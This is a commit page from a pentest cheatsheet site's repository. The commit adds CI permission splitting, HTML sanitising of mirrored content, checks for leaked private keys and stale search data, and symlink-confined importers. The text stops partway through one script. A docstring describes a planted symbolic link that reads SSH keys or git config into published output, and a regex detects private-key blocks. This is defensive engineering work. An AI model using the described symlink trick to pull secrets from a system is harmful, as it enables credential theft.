repositories

daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR

clonegit clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git

the published commit on main

feat: harden content imports and release validation

- Sanitize mirrored HTML and reject unsafe source links and sensitive
  notes
- Add release checks for search indexes, private keys, and downloads
- Split mirror sync and publishing into separate CI jobs
- Remove the private loot sheet and update download signature links
- Keep unlocked indexes in memory during local previews
author
DAEMON
date
commit
316a1f3b505f4d230e2a6df9832ef77e801e6273
parent
914cb1b9

Changes

44 files changed +1,972 −664
.github/workflows/sync-mirrors.yml105+++++++++++-
README.md42++++-
astro.config.mjs15++-
package-lock.json1+
package.json7+-
scripts/check-release.mjs131+++++++++++++++
scripts/csp-hashes.mjs120++++++++++---
scripts/port-missing.py9+-
scripts/port-vault.py11+-
scripts/safe_source.py117+++++++++++++
scripts/sync-hacktricks.py31+++-
scripts/sync-internal.py40++++-
scripts/sync-mirrors.sh6+-
scripts/sync-payloads.py53+++++-
scripts/sync-pentest-workflow.py214++++++++++++++++++++-----
scripts/verify-downloads.mjs128+++++++++++++++
src/content/sheets/pentest-workflow/acl-and-object-abuse.md8+-
src/content/sheets/pentest-workflow/active-directory-enumeration.md12+-
src/content/sheets/pentest-workflow/adcs-and-certificate-abuse.md6+-
src/content/sheets/pentest-workflow/attack-flow-dashboard.md112++++++------
src/content/sheets/pentest-workflow/documentation-and-reporting.md2+-
src/content/sheets/pentest-workflow/domain-trusts-and-cross-forest.md2+-
src/content/sheets/pentest-workflow/foothold-file-transfers.md4+-
src/content/sheets/pentest-workflow/foothold-shells-payloads-metasploit.md20+-
src/content/sheets/pentest-workflow/kerberos-attacks.md8+-
src/content/sheets/pentest-workflow/lateral-movement-pivoting-and-loot.md26+-
src/content/sheets/pentest-workflow/loot.md349----------------------------------------
src/content/sheets/pentest-workflow/passive-external-recon.md8+-
src/content/sheets/pentest-workflow/password-attacks-and-credential-hunting.md14+-
src/content/sheets/pentest-workflow/potato-attacks-guide.md14+-
src/content/sheets/pentest-workflow/privilege-escalation.md34++--
src/content/sheets/pentest-workflow/recon-and-host-discovery.md6+-
src/content/sheets/pentest-workflow/service-enumeration.md12+-
src/content/sheets/pentest-workflow/tool-index.md52+++---
src/content/sheets/pentest-workflow/web-enumeration-and-exploitation.md14+-
src/content/sheets/pentest-workflow/worked-chains.md32++--
src/lib/download-signatures.ts23+++
src/lib/rehype-sanitize-mirror.mjs186+++++++++++++++++++++
src/pages/[category]/index.astro32+++-
src/scripts/report-index.ts33++++-
test/import-confinement.test.mjs222+++++++++++++++++++++++++
test/mirror-sanitizer.test.mjs148+++++++++++++++++
test/release-checks.test.mjs181+++++++++++++++++++++
test/report-index-persistence.test.mjs46+++++-

.github/workflows/sync-mirrors.yml

@@ -3,29 +3,46 @@ name: Sync upstream mirrors
 # Mirrors swisskyrepo's PayloadsAllTheThings and InternalAllTheThings into the
 # site and pushes straight to main. No review gate: the build and the test suite
 # are what stand between upstream and the live site, so a sync that breaks
-# either one fails here and never lands.
+# either one fails here and never lands. The build itself refuses imported
+# content that carries a script (scripts/csp-hashes.mjs) and the importers
+# refuse symbolic links (scripts/safe_source.py).
 
 on:
   schedule:
     - cron: '17 6 * * *'   # daily 06:17 UTC
   workflow_dispatch:
 
-permissions:
-  contents: write
+# Nothing is granted at the top level; each job asks for what it needs.
+permissions: {}
 
 concurrency:
   group: sync-mirrors
   cancel-in-progress: false
 
+# Two jobs, split on purpose.
+#
+# `convert` is the one that touches third-party input: it clones both
+# upstreams, runs the importers over them and builds the site from the result.
+# It gets a read-only token that is not left on disk, so nothing it reads or
+# runs can push, and a file copied out of the runner by a hostile upstream
+# (the importers refuse symbolic links for exactly that reason) would find no
+# credential to copy.
+#
+# `publish` holds the write token and runs none of that. It receives the sync
+# commits as a git bundle, checks that they change the mirror trees and
+# nothing else, and pushes.
 jobs:
-  sync:
+  convert:
     runs-on: ubuntu-latest
+    permissions:
+      contents: read
+    outputs:
+      changed: ${{ steps.sync.outputs.changed }}
     steps:
       - name: Checkout site
         uses: actions/checkout@v4
         with:
-          # Full history so the push can rebase if main moved during the build.
-          fetch-depth: 0
+          persist-credentials: false
 
       - name: Setup Node
         uses: actions/setup-node@v4
@@ -35,12 +52,78 @@ jobs:
 
       # Everything the sync does lives in the script, so running it locally
       # and running it here are the same thing. It clones both upstreams,
-      # regenerates the mirrors, refuses to publish anything that fails
+      # regenerates the mirrors, refuses to go on if anything fails
       # `npm run build` or `node --test`, and commits one commit per upstream
-      # for whichever trees actually moved.
-      - name: Sync, validate and push
-        id: push
-        run: scripts/sync-mirrors.sh --push
+      # for whichever trees actually moved. The commits stay local to this job.
+      - name: Sync, validate and commit
+        id: sync
+        run: scripts/sync-mirrors.sh --commit
+
+      - name: Bundle the sync commits
+        if: steps.sync.outputs.changed == 'true'
+        run: git bundle create "$RUNNER_TEMP/sync.bundle" "${GITHUB_SHA}..HEAD"
+
+      - name: Hand the bundle to the publish job
+        if: steps.sync.outputs.changed == 'true'
+        uses: actions/upload-artifact@v4
+        with:
+          name: sync-bundle
+          path: ${{ runner.temp }}/sync.bundle
+          if-no-files-found: error
+          retention-days: 1
+
+  publish:
+    needs: convert
+    if: needs.convert.outputs.changed == 'true'
+    runs-on: ubuntu-latest
+    permissions:
+      contents: write
+    steps:
+      - name: Checkout site
+        uses: actions/checkout@v4
+        with:
+          # The commit the bundle was built on, with full history so the push
+          # can rebase if main moved while the build was running.
+          ref: ${{ github.sha }}
+          fetch-depth: 0
+
+      - name: Fetch the bundle
+        uses: actions/download-artifact@v4
+        with:
+          name: sync-bundle
+          path: ${{ runner.temp }}
+
+      - name: Check and push
+        run: |
+          set -euo pipefail
+          base=$(git rev-parse HEAD)
+          git bundle verify "$RUNNER_TEMP/sync.bundle"
+          git fetch --no-tags "$RUNNER_TEMP/sync.bundle" HEAD
+          git merge-base --is-ancestor "$base" FETCH_HEAD
+
+          # The sync may change the mirrors and nothing else. Anything outside
+          # them (a workflow, a script, a page template) is not a sync.
+          outside=$(git diff --name-only "$base" FETCH_HEAD -- . \
+            ':(exclude)src/content/payloads' \
+            ':(exclude)src/content/internal' \
+            ':(exclude)vendor/PayloadsAllTheThings' \
+            ':(exclude)payloads-manifest.json' \
+            ':(exclude)internal-manifest.json')
+          if [ -n "$outside" ]; then
+            echo 'The sync commits touch files outside the mirrors; refusing to push:' >&2
+            echo "$outside" >&2
+            exit 1
+          fi
+
+          git config user.name  'github-actions[bot]'
+          git config user.email '41898282+github-actions[bot]@users.noreply.github.com'
+          git merge --ff-only FETCH_HEAD
+          # Retry once through a rebase in case main moved while the build was running.
+          git push origin HEAD:main || {
+            git fetch origin main
+            git rebase origin/main
+            git push origin HEAD:main
+          }
 
       # No deploy step: Cloudflare Workers is the only host and it deploys
       # manually via `npm run deploy:workers`. A sync lands commits on main and

README.md

@@ -57,14 +57,18 @@ Run `npm run unlock:helper` from this checkout, open its pairing link and choose
 **Unlock with GPG** in the ☧ panel. GPG handles your key and its usual pinentry
 prompt. Keep the helper terminal open until unlocking finishes; you can then
 stop it. For a local preview, paste the pairing code into the ☧ panel at the
-default Astro address (`http://localhost:4321`).
+default Astro address (`http://localhost:4321`). A preview keeps the unlocked
+index in memory only: it lasts while you move around the site and is gone on
+reload. `localhost:4321` is shared by whatever project is served there next, so
+nothing is written to that address's browser storage, and anything an earlier
+version saved there is removed the next time the page loads.
 
 Alternatively, expand **Import an index you already decrypted**, download the
 encrypted index, decrypt it with GPG and choose the resulting JSON once.
 Selecting the file reads it locally; it does not upload it to the host.
 
-Both methods save the validated decrypted index in this browser's local storage.
-Closing the panel, following a post, refreshing, opening another tab and
+On the live site (`https://cheatsheet.daemon-sec.xyz`), both methods save the
+validated decrypted index in this browser's local storage. Closing the panel, following a post, refreshing, opening another tab and
 restarting the browser retain access. The ☧ panel lists every use in CPTS order,
 including repeated tools, and the marked guides show their positions. Choose
 **Lock this browser** to remove saved access from all open tabs on the same site.
@@ -83,9 +87,39 @@ Cloudflare Workers is the only host. It serves `cheatsheet.daemon-sec.xyz`,
 configured in `wrangler.jsonc`, and deploys are **manual**:
 
 ```bash
-npm run deploy:workers   # build + .assetsignore + wrangler deploy
+npm run deploy:workers   # build + release checks + .assetsignore + wrangler deploy
 ```
 
+The build ends with two gates and the deploy adds a third; any of them failing
+stops the release:
+
+- `scripts/csp-hashes.mjs` allows only the inline scripts of the site's own
+  templates. An inline script anywhere else, such as one arriving in mirrored
+  Markdown, fails the build. Mirrored collections are also sanitised when they
+  are rendered (`src/lib/rehype-sanitize-mirror.mjs`).
+- `scripts/check-release.mjs` checks that the search index holds this build's
+  pages and nothing left over from an earlier one, and that no complete private
+  key is present in the sheets, their pages or their search fragments.
+- `scripts/verify-downloads.mjs` (`npm run verify:downloads`) checks the
+  attachment library against its catalogue and checksums and refuses leftover
+  files.
+
+### Signing the attachment library
+
+The library is published with SHA-256 checksums. It is described as signed, and
+signature links appear, only once every checksum file and the manifest have a
+detached signature next to them. Signing uses your own key and is never done by
+a script:
+
+```bash
+cd public/downloads/pentest-workflow && for f in *.sha256 SHA256SUMS; do gpg --armor --detach-sign --output "$f.asc" "$f"; done
+```
+
+Then re-run `scripts/sync-pentest-workflow.py` so the sheets link the
+signatures, and `npm run verify:downloads -- --require-signed`, which verifies
+each one with `gpg` against the fingerprint pinned in
+`src/data/report-index-lock.json`.
+
 There is no CI deploy. Pushing to `main` publishes nothing on its own, so a
 content change is live only once someone runs the command above.
 

astro.config.mjs

@@ -4,6 +4,7 @@ import mdx from '@astrojs/mdx';
 import sitemap from '@astrojs/sitemap';
 import Slugger from 'github-slugger';
 import { headingText, rehypeHeadingMarks } from './src/lib/rehype-heading-marks.mjs';
+import { rehypeSanitizeMirror } from './src/lib/rehype-sanitize-mirror.mjs';
 
 /**
  * MkDocs anchor aliases for the InternalAllTheThings mirror.
@@ -180,7 +181,19 @@ export default defineConfig({
     // rehype pass on its own leaves 1,250 stale pages in the store, in dev and
     // in the build. Bump `rev` whenever one of these passes changes what it
     // emits and the store is rebuilt.
-    rehypePlugins: [[rehypeHeadingMarks, { rev: 1 }], rehypeMkdocsAnchors, rehypeDropCap],
+    //
+    // The sanitiser goes last so the passes before it see the tree they
+    // always have. It strips scripts, styles, frames, event handlers and
+    // unsafe URLs from the HTML the mirrored collections (payloads, internal,
+    // hacktricks) carry in from upstream; first-party sheets are left alone.
+    // See src/lib/rehype-sanitize-mirror.mjs. It has its own `rev` for the
+    // same cache reason.
+    rehypePlugins: [
+      [rehypeHeadingMarks, { rev: 1 }],
+      rehypeMkdocsAnchors,
+      rehypeDropCap,
+      [rehypeSanitizeMirror, { rev: 1 }],
+    ],
     shikiConfig: {
       // Code blocks are dark plates in both modes (see prose.css), so there
       // is no light listing to flip to — but the *palette* does change them.

package-lock.json

@@ -12,6 +12,7 @@
         "@astrojs/mdx": "^8.0.2",
         "@astrojs/sitemap": "^3.7.4",
         "astro": "^7.3.5",
+        "hast-util-raw": "^9.1.0",
         "sharp": "^0.35.5"
       },
       "devDependencies": {

package.json

@@ -6,13 +6,15 @@
   "description": "DÆMON//SEC — a curated vault of IT & cybersecurity cheatsheets",
   "scripts": {
     "dev": "astro dev",
-    "build": "astro build && pagefind --site dist && npm run pagefind:public && node scripts/csp-hashes.mjs",
+    "build": "npm run clean:search && astro build && pagefind --site dist && npm run pagefind:public && node scripts/csp-hashes.mjs && node scripts/check-release.mjs",
+    "clean:search": "rm -rf public/pagefind dist/pagefind",
+    "verify:downloads": "node scripts/verify-downloads.mjs",
     "test": "npm run build && node --test",
     "preview": "astro preview",
     "pagefind:public": "rm -rf public/pagefind && cp -R dist/pagefind public/pagefind",
     "astro": "astro",
     "assetsignore:workers": "printf 'downloads/pentest-workflow/ysoserial-all.jar\\ndownloads/pentest-workflow/gowitness_linux_amd64\\ndownloads/pentest-workflow/gowitness_windows_amd64.exe\\n' > dist/.assetsignore",
-    "deploy:workers": "npm run build && npm run assetsignore:workers && npx wrangler deploy",
+    "deploy:workers": "npm run build && node scripts/verify-downloads.mjs dist/downloads/pentest-workflow && npm run assetsignore:workers && npx wrangler deploy",
     "unlock:helper": "node scripts/report-index-helper.mjs"
   },
   "dependencies": {
@@ -20,6 +22,7 @@
     "@astrojs/mdx": "^8.0.2",
     "@astrojs/sitemap": "^3.7.4",
     "astro": "^7.3.5",
+    "hast-util-raw": "^9.1.0",
     "sharp": "^0.35.5"
   },
   "devDependencies": {

scripts/check-release.mjs

new file mode 100644
@@ -0,0 +1,131 @@
+// Last step of `npm run build`: refuses a release that carries things it
+// should not. Two checks, both born from findings in the same audit.
+//
+// 1. The search index is this build's and nothing else.
+//    public/pagefind is a copy of the last build's index (kept so the dev
+//    server can search). Astro copies public/ into dist/, Pagefind then wrote
+//    the new index on top of the old one, and the union was copied back, so
+//    every build added to a pile: text of pages that had since been edited or
+//    deleted stayed downloadable for anyone holding an old fragment URL. The
+//    build now starts by deleting both copies (`npm run clean:search`); this
+//    check proves it, by matching what is on disk against what Pagefind's own
+//    entry file says this build produced.
+//
+// 2. No complete private key in first-party output.
+//    A working ledger with a live SSH key was once published as a sheet and
+//    indexed for search. The importer refuses such a note now
+//    (scripts/sync-pentest-workflow.py); this looks at the result anyway, in
+//    the three places it would surface: the source sheets, the rendered pages
+//    and the decompressed search fragments. The mirrored third-party
+//    collections are skipped: an example key in someone else's public
+//    documentation is not this site's secret, and failing the nightly sync
+//    over it would help nobody.
+//
+// Only a whole key block counts. A bare `-----BEGIN ... PRIVATE KEY-----`
+// (a search dork, a grep pattern, a truncated sample) is ordinary content.
+import { readFileSync, readdirSync, statSync, existsSync } from 'node:fs';
+import { gunzipSync } from 'node:zlib';
+import { join, relative, sep } from 'node:path';
+import { pathToFileURL } from 'node:url';
+
+const KEY_BLOCK = /-----BEGIN ((?:[A-Z0-9]+ )*PRIVATE KEY)-----[A-Za-z0-9+/=\s]{200,}?-----END \1-----/;
+const MIRRORS = ['payloads', 'internal', 'hacktricks'];
+const FRAGMENT_MAGIC = 'pagefind_dcd';
+
+/** True when the text holds a complete PEM/OpenSSH private-key block. */
+export function hasPrivateKey(text) {
+  return text.includes('PRIVATE KEY-----') && KEY_BLOCK.test(text);
+}
+
+/** Rendered HTML back to roughly the text a reader could copy out of it. */
+export function htmlToText(html) {
+  return html
+    .replace(/<[^>]*>/g, '')
+    .replace(/&#x([0-9a-f]+);/gi, (_, hex) => String.fromCodePoint(parseInt(hex, 16)))
+    .replace(/&#(\d+);/g, (_, dec) => String.fromCodePoint(Number(dec)))
+    .replace(/&lt;/g, '<').replace(/&gt;/g, '>').replace(/&quot;/g, '"').replace(/&amp;/g, '&');
+}
+
+function* walk(dir) {
+  for (const name of readdirSync(dir)) {
+    const p = join(dir, name);
+    if (statSync(p).isDirectory()) yield* walk(p);
+    else yield p;
+  }
+}
+
+const isMirror = (rel) => MIRRORS.includes(rel.split(sep)[0]);
+
+/** Decompressed text of one Pagefind fragment, with its magic prefix removed. */
+export function readFragment(file) {
+  const text = gunzipSync(readFileSync(file)).toString('utf8');
+  return text.startsWith(FRAGMENT_MAGIC) ? text.slice(FRAGMENT_MAGIC.length) : text;
+}
+
+/** Problems with the Pagefind output in `dir`; empty when it is exactly one build's. */
+export function checkSearchIndex(dir) {
+  const problems = [];
+  const entryFile = join(dir, 'pagefind-entry.json');
+  if (!existsSync(entryFile)) return [`${entryFile} is missing; did Pagefind run?`];
+  const languages = JSON.parse(readFileSync(entryFile, 'utf8')).languages ?? {};
+  const expectedPages = Object.values(languages).reduce((sum, lang) => sum + lang.page_count, 0);
+  const expectedMeta = new Set(Object.values(languages).map((lang) => `pagefind.${lang.hash}.pf_meta`));
+
+  const fragments = existsSync(join(dir, 'fragment')) ? readdirSync(join(dir, 'fragment')).filter((f) => f.endsWith('.pf_fragment')) : [];
+  if (fragments.length !== expectedPages) {
+    problems.push(`${fragments.length} search fragments on disk but this build indexed ${expectedPages} pages: ${Math.abs(fragments.length - expectedPages)} do not belong to it`);
+  }
+  const meta = readdirSync(dir).filter((f) => f.endsWith('.pf_meta'));
+  const strayMeta = meta.filter((f) => !expectedMeta.has(f));
+  if (strayMeta.length) problems.push(`${strayMeta.length} search metadata file(s) from another build: ${strayMeta.slice(0, 3).join(', ')}`);
+  for (const name of expectedMeta) if (!meta.includes(name)) problems.push(`search metadata ${name} is missing`);
+  return problems;
+}
+
+/** First-party places in the release that contain a complete private key. */
+export function findPrivateKeys({ dist, sheets }) {
+  const hits = [];
+  if (sheets && existsSync(sheets)) {
+    for (const file of walk(sheets)) {
+      if (/\.mdx?$/.test(file) && hasPrivateKey(readFileSync(file, 'utf8'))) hits.push(`source sheet ${file}`);
+    }
+  }
+  if (dist && existsSync(dist)) {
+    for (const file of walk(dist)) {
+      const rel = relative(dist, file);
+      if (!file.endsWith('.html') || isMirror(rel)) continue;
+      const html = readFileSync(file, 'utf8');
+      if (html.includes('PRIVATE KEY-----') && hasPrivateKey(htmlToText(html))) hits.push(`page ${rel}`);
+    }
+    const fragmentDir = join(dist, 'pagefind', 'fragment');
+    if (existsSync(fragmentDir)) {
+      for (const name of readdirSync(fragmentDir)) {
+        if (!name.endsWith('.pf_fragment')) continue;
+        const text = readFragment(join(fragmentDir, name));
+        if (!text.includes('PRIVATE KEY-----')) continue;
+        let page;
+        try { page = JSON.parse(text); } catch { page = { url: '', content: text }; }
+        const url = String(page.url ?? '');
+        if (MIRRORS.some((m) => url.startsWith(`/${m}/`))) continue;
+        if (hasPrivateKey(String(page.content ?? text))) hits.push(`search fragment pagefind/fragment/${name} (${url || 'unknown page'})`);
+      }
+    }
+  }
+  return hits;
+}
+
+function main() {
+  const problems = [
+    ...checkSearchIndex(join('dist', 'pagefind')),
+    ...(existsSync(join('public', 'pagefind')) ? checkSearchIndex(join('public', 'pagefind')).map((p) => `public copy: ${p}`) : []),
+    ...findPrivateKeys({ dist: 'dist', sheets: join('src', 'content', 'sheets') }).map((where) => `complete private key in ${where}`),
+  ];
+  if (problems.length) {
+    console.error('check-release: this build must not be deployed:');
+    for (const problem of problems) console.error(`  - ${problem}`);
+    process.exit(1);
+  }
+  console.log('check-release: search index matches this build; no private key in first-party output');
+}
+
+if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) main();

scripts/csp-hashes.mjs

@@ -2,23 +2,41 @@
 //
 // The Content-Security-Policy in public/_headers allows no 'unsafe-inline'
 // for scripts. The inline scripts the site does carry (the theme and page
-// iris bootstraps in Base.astro, and the small modules Astro inlines) are
-// allowed by SHA-256 hash instead, which a browser accepts only for the
-// exact text. Astro rewrites the inlined modules on every build, so the
-// hashes are computed from the built HTML rather than written by hand.
+// iris bootstraps in Base.astro) are allowed by SHA-256 hash instead, which a
+// browser accepts only for the exact text. Astro rewrites them on every
+// build, so the hashes are computed from the built HTML rather than written
+// by hand.
 //
-// Runs last in `npm run build`. Anything that adds an inline <script> to a
-// page is covered automatically; an inline script that is NOT in dist at
-// build time (injected at runtime) will be refused by the browser.
+// Which scripts get a hash
+// ------------------------
+// Not "whatever is in dist". Most pages here render Markdown, three whole
+// collections of it are mirrored from other people's repositories, and
+// Markdown can carry raw HTML. Hashing every inline script found in the
+// output would mean a `<script>` committed upstream authorises itself.
+//
+// So the allowlist is taken from TRUSTED_PAGES only: pages rendered wholly
+// from this repository's own templates, with no Markdown body. Every other
+// page is then held to that list. An inline script anywhere in dist that is
+// not on it fails the build and names the page, which also stops the
+// scheduled mirror sync from landing it (scripts/sync-mirrors.sh builds
+// before it commits).
+//
+// If a first-party page genuinely needs its own inline script, add a page
+// that renders it, and no Markdown, to TRUSTED_PAGES. src/lib/
+// rehype-sanitize-mirror.mjs is the first line of defence and removes
+// scripts from mirrored content before it gets here; this is the second.
+//
+// Runs near the end of `npm run build`.
 import { createHash } from 'node:crypto';
-import { readFileSync, writeFileSync } from 'node:fs';
-import { readdirSync, statSync } from 'node:fs';
-import { join } from 'node:path';
+import { readFileSync, writeFileSync, readdirSync, statSync, existsSync } from 'node:fs';
+import { join, relative } from 'node:path';
+import { pathToFileURL } from 'node:url';
 
-const DIST = 'dist';
-const HEADERS = join(DIST, '_headers');
 const TOKEN = '__INLINE_SCRIPT_HASHES__';
 
+/** Pages built only from first-party templates. Paths are relative to dist. */
+export const TRUSTED_PAGES = ['404.html'];
+
 function* htmlFiles(dir) {
   for (const name of readdirSync(dir)) {
     const p = join(dir, name);
@@ -31,28 +49,72 @@ function* htmlFiles(dir) {
 // data the browser never executes, so they need no hash.
 const SCRIPT = /<script\b([^>]*)>([\s\S]*?)<\/script>/gi;
 const isData = (attrs) => /\btype\s*=\s*["']?(application\/(ld\+)?json|text\/(template|x-|plain))/i.test(attrs);
+const hashOf = (body) => `'sha256-${createHash('sha256').update(body).digest('base64')}'`;
 
-const hashes = new Set();
-let files = 0;
-for (const file of htmlFiles(DIST)) {
-  files++;
-  const html = readFileSync(file, 'utf8');
+/** Every inline, executable script in a page as { hash, body }. */
+export function inlineScripts(html) {
+  const found = [];
   for (const [, attrs, body] of html.matchAll(SCRIPT)) {
     if (/\bsrc\s*=/i.test(attrs) || isData(attrs)) continue;
-    hashes.add(`'sha256-${createHash('sha256').update(body).digest('base64')}'`);
+    found.push({ hash: hashOf(body), body });
   }
+  return found;
 }
 
-const headers = readFileSync(HEADERS, 'utf8');
-if (!headers.includes(TOKEN)) {
-  console.error(`csp-hashes: ${HEADERS} has no ${TOKEN} placeholder`);
-  process.exit(1);
+/**
+ * Hashes of the trusted pages' inline scripts, plus every script elsewhere in
+ * `dist` that is not among them.
+ */
+export function collect(dist, trustedPages = TRUSTED_PAGES) {
+  const allowed = new Set();
+  for (const page of trustedPages) {
+    const file = join(dist, page);
+    if (!existsSync(file)) throw new Error(`trusted page ${page} is missing from ${dist}`);
+    for (const { hash } of inlineScripts(readFileSync(file, 'utf8'))) allowed.add(hash);
+  }
+  const unknown = [];
+  let files = 0;
+  for (const file of htmlFiles(dist)) {
+    files++;
+    for (const { hash, body } of inlineScripts(readFileSync(file, 'utf8'))) {
+      if (!allowed.has(hash)) unknown.push({ page: relative(dist, file), hash, preview: body.trim().replace(/\s+/g, ' ').slice(0, 100) });
+    }
+  }
+  return { allowed, unknown, files };
 }
-const out = headers.replace(TOKEN, [...hashes].join(' '));
-const longest = Math.max(...out.split('\n').map((l) => l.length));
-if (longest > 2000) {
-  console.error(`csp-hashes: a _headers line is ${longest} chars; Cloudflare's limit is 2000`);
-  process.exit(1);
+
+function main() {
+  const DIST = 'dist';
+  const HEADERS = join(DIST, '_headers');
+  let result;
+  try {
+    result = collect(DIST);
+  } catch (error) {
+    console.error(`csp-hashes: ${error.message}`);
+    process.exit(1);
+  }
+  const { allowed, unknown, files } = result;
+  if (unknown.length) {
+    console.error(`csp-hashes: ${unknown.length} inline script(s) are not part of the site's own templates and will not be allowed:`);
+    for (const { page, hash, preview } of unknown.slice(0, 20)) console.error(`  ${page}  ${hash}\n    ${preview}`);
+    if (unknown.length > 20) console.error(`  ... and ${unknown.length - 20} more`);
+    console.error('If this is imported content, it must not ship a script. If it is a new first-party script, see TRUSTED_PAGES in scripts/csp-hashes.mjs.');
+    process.exit(1);
+  }
+
+  const headers = readFileSync(HEADERS, 'utf8');
+  if (!headers.includes(TOKEN)) {
+    console.error(`csp-hashes: ${HEADERS} has no ${TOKEN} placeholder`);
+    process.exit(1);
+  }
+  const out = headers.replace(TOKEN, [...allowed].join(' '));
+  const longest = Math.max(...out.split('\n').map((l) => l.length));
+  if (longest > 2000) {
+    console.error(`csp-hashes: a _headers line is ${longest} chars; Cloudflare's limit is 2000`);
+    process.exit(1);
+  }
+  writeFileSync(HEADERS, out);
+  console.log(`csp-hashes: ${allowed.size} first-party inline script hash(es), ${files} pages checked -> ${HEADERS} (longest line ${longest})`);
 }
-writeFileSync(HEADERS, out);
-console.log(`csp-hashes: ${hashes.size} inline script hash(es) from ${files} pages -> ${HEADERS} (longest line ${longest})`);
+
+if (process.argv[1] && import.meta.url === pathToFileURL(process.argv[1]).href) main();

scripts/port-missing.py

@@ -2,7 +2,10 @@
 """Mechanically port vault markdown -> site content for the 13 missing 'port' sheets.
 Strips Obsidian syntax, drops any existing frontmatter, prepends normalized frontmatter.
 Deterministic, content preserved (no LLM rewrite)."""
-import json, os, re
+import json, os, re, sys
+
+sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
+import safe_source
 
 REPO = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), ".."))
 VAULT = os.environ.get("VAULT_CHEATS", os.path.expanduser("~/git/NetrunnerVault/02Cybersecurity/Cheatsheets"))
@@ -75,7 +78,9 @@ def demote_h1(body, title):
 def main():
     for cat, slug, title, rel, tools, tags, diff, desc in ITEMS:
         src = os.path.join(VAULT, rel)
-        raw = open(src, encoding="utf-8", errors="replace").read()
+        # Confined read: a note that is a symbolic link, or sits behind one,
+        # would publish whatever the link points at on this machine.
+        raw = safe_source.read_text(VAULT, src, errors="replace")
         body = clean_obsidian(strip_frontmatter(raw)).strip()
         body = demote_h1(body, title)
         out = fm(cat, slug, title, tools, tags, diff, desc, rel) + "\n" + body + "\n"

scripts/port-vault.py

@@ -25,6 +25,9 @@ Usage:
 """
 import json, os, re, sys, unicodedata
 
+sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
+import safe_source
+
 REPO = os.path.normpath(os.path.join(os.path.dirname(os.path.abspath(__file__)), ".."))
 SRC = os.environ.get("VAULT_CHEATS", os.path.expanduser("~/git/NetrunnerVault/02Cybersecurity/Cheatsheets"))
 SHEETS = os.path.join(REPO, "src", "content", "sheets")
@@ -318,6 +321,12 @@ def main():
     all_md.sort()
 
     for rel in all_md:
+        # A note that is a symbolic link, or sits behind a linked folder, is
+        # never read: following it would publish whatever it points at on
+        # this machine. os.walk already declines to descend linked folders.
+        if not safe_source.is_safe_file(SRC, os.path.join(SRC, rel)):
+            rows.append(("SKIP", "", "", "", rel, "not a regular file inside the vault (symbolic link?)"))
+            continue
         if is_non_sheet(rel):
             rows.append(("SKIP", "", "", "", rel, "non-sheet (meta/index/roadmap)"))
             continue
@@ -334,7 +343,7 @@ def main():
             rows.append(("SKIP", cat, slug, title, rel, f"dup of {taken[key]}"))
             continue
 
-        raw = open(os.path.join(SRC, rel), encoding="utf-8", errors="replace").read()
+        raw = safe_source.read_text(SRC, os.path.join(SRC, rel), errors="replace")
         body = clean_body(raw)
         desc = first_paragraph(body) or f"{title} — operator reference."
         tools = tools_for(body)

scripts/safe_source.py

new file mode 100644
@@ -0,0 +1,117 @@
+"""Confined reads for the import scripts.
+
+Every importer in this directory turns files from somewhere else (an upstream
+clone, the vault) into content this repository publishes. A plain ``open()`` or
+``shutil.copy`` follows symbolic links, so a link planted in the source — a
+``LICENSE`` pointing at ``~/.ssh/id_ed25519``, a ``notes.md`` pointing at the
+runner's ``.git/config`` — would be read with the importer's privileges and
+written straight into the public tree.
+
+The helpers here refuse that. A source path is accepted only when
+
+* it sits under the declared root,
+* no component between the root and the file is a symbolic link,
+* the file itself is a regular file, not a link, device, socket or FIFO, and
+* its resolved location is still inside the resolved root.
+
+The root itself may be reached through a link (``~/git`` often is); only what
+lies below it is the untrusted part. The final open uses ``O_NOFOLLOW`` and
+re-checks the descriptor, so swapping the file for a link between the check and
+the read does not get through either.
+
+Importers validate every path they are going to read *before* they delete or
+write anything, so a rejected source leaves the existing output untouched.
+"""
+
+from __future__ import annotations
+
+import os
+import shutil
+import stat
+
+
+class UnsafeSource(Exception):
+    """A source path is a link, leaves its root, or is not a regular file."""
+
+
+def _components(root: str, path: str) -> list[str]:
+    root_abs = os.path.abspath(root)
+    path_abs = os.path.abspath(path)
+    rel = os.path.relpath(path_abs, root_abs)
+    if rel == os.curdir or rel == os.pardir or rel.startswith(os.pardir + os.sep) or os.path.isabs(rel):
+        raise UnsafeSource(f"{path_abs} is not inside {root_abs}")
+    return rel.split(os.sep)
+
+
+def check_dir(root, path) -> str:
+    """Return ``path`` if it is a real directory under ``root`` with no linked component."""
+    root, path = os.fspath(root), os.fspath(path)
+    current = os.path.abspath(root)
+    for part in _components(root, path):
+        current = os.path.join(current, part)
+        if os.path.islink(current):
+            raise UnsafeSource(f"refusing symbolic link in source: {current}")
+    if not stat.S_ISDIR(os.lstat(current).st_mode):
+        raise UnsafeSource(f"not a directory: {current}")
+    return current
+
+
+def check_file(root, path) -> str:
+    """Return ``path`` if it is a regular file under ``root`` with no linked component."""
+    root, path = os.fspath(root), os.fspath(path)
+    current = os.path.abspath(root)
+    for part in _components(root, path):
+        current = os.path.join(current, part)
+        if os.path.islink(current):
+            raise UnsafeSource(f"refusing symbolic link in source: {current}")
+    if not stat.S_ISREG(os.lstat(current).st_mode):
+        raise UnsafeSource(f"not a regular file: {current}")
+    root_real = os.path.realpath(root)
+    if os.path.commonpath([root_real, os.path.realpath(current)]) != root_real:
+        raise UnsafeSource(f"{current} resolves outside {root_real}")
+    return current
+
+
+def is_safe_file(root, path) -> bool:
+    """True when ``check_file`` would accept ``path``. A missing file is simply False."""
+    try:
+        check_file(root, path)
+    except (UnsafeSource, OSError):
+        return False
+    return True
+
+
+def is_link(path) -> bool:
+    return os.path.islink(os.fspath(path))
+
+
+def open_binary(root, path):
+    """Open a confined regular file for reading. The caller closes it."""
+    checked = check_file(root, path)
+    fd = os.open(checked, os.O_RDONLY | getattr(os, "O_NOFOLLOW", 0))
+    try:
+        if not stat.S_ISREG(os.fstat(fd).st_mode):
+            raise UnsafeSource(f"not a regular file: {checked}")
+        return os.fdopen(fd, "rb")
+    except BaseException:
+        os.close(fd)
+        raise
+
+
+def read_bytes(root, path) -> bytes:
+    with open_binary(root, path) as handle:
+        return handle.read()
+
+
